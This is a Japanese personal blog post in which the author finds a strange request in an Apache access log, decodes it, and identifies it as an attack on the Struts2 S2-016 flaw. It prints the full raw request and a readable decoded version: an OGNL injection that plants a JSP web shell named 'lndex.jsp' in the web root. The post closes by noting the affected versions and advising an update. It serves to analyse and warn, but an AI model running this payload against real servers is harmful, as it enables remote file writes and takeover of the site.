apacheのaccess_logにjavaのソースコードみたいなアクセスが記録されていた。(Struts2の脆弱性S2-016への攻撃)
さっきのapache killerの話を書いたあとでapacheのアクセスログを見ていたら、こんなアクセスが。
xx.xx.xx.xx [01/Jul/2015:03:09:11 +0900] "GET /index.php?redirect:$%%7b%%2523req%%253d%%2523context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%%2523res%%253d%%2523context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%%2523res.getWriter().println(%%2522okokok%%2522),%%2523res.getWriter().flush(),%%2523res.getWriter().close(),new+java.io.BufferedWriter(new+java.io.FileWriter(%%2523req.getRealPath(%%2522/%%2522)%%252b%%2522lndex.jsp%%2522)).append(%%2523req.getParameter(%%2522shell%%2522)).close()%%7d&shell=%%253C%%2525if(request.getParameter(%%2522f%%2522)!%%253Dnull)(new%%2520java.io.FileOutputStream(application.getRealPath(%%2522%%252F%%2522)%%252Brequest.getParameter(%%2522f%%2522))).write(request.getParameter(%%2522t%%2522).getBytes())%%253B%%2525%%253E%%253Ca%%2520href%%253D%%2522One_OK%%2522%%253E%%253C%%252Fa%%253E HTTP/1.1" 404 2583 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"
なんじゃこりゃ。むっちゃ長い。
どうもプログラムのコードをそのまんま突っ込んであるようなので、バラしてみました。
redirect:
${
#req = #context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#res = #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#res.getWriter().println("okokok"),
#res.getWriter().flush(),
#res.getWriter().close(),
new java.io.BufferedWriter(
new java.io.FileWriter(
#req.getRealPath("/") + "lndex.jsp"
)
).append(#req.getParameter("shell")).close()
}
&shell = <%%
if(request.getParameter("f") != null)
(
new java.io.FileOutputStream(application.getRealPath("/") + request.getParameter("f"))
).write(request.getParameter("t").getBytes());
%%>
<a href="One_OK"></a>
こんな感じになった。 javaだよjava。javaが埋めこまれている。
調べてみると、どうやらSturts2とやらが関連するようです? Sturts2というのはjavaでwebアプリケーションを記述するためのフレームワークとのこと。Apacheが作っているらしい。 で、今回問題になるのはS2-016という脆弱性。Apache Struts 2 DocumentationのS2-016のページを見てみると、確かに似たような雰囲気のURIのサンプルが載っている。
脆弱性の内容としては、クエリにredirect:
から始まる何かを書いたURIでGETすると、任意のソースを実行できてしまう、というもののようです。
バラしたURIを上に書きましたが、Javaのコードをそのまんま書いて、そのまんま実行するっぽい。
うーむ、くわばらくわばら。
影響をうけるのはStrutsの2.0.0から2.3.15とのこと。 Struts2を利用しているのなら要アップデート、ですかね。
参考: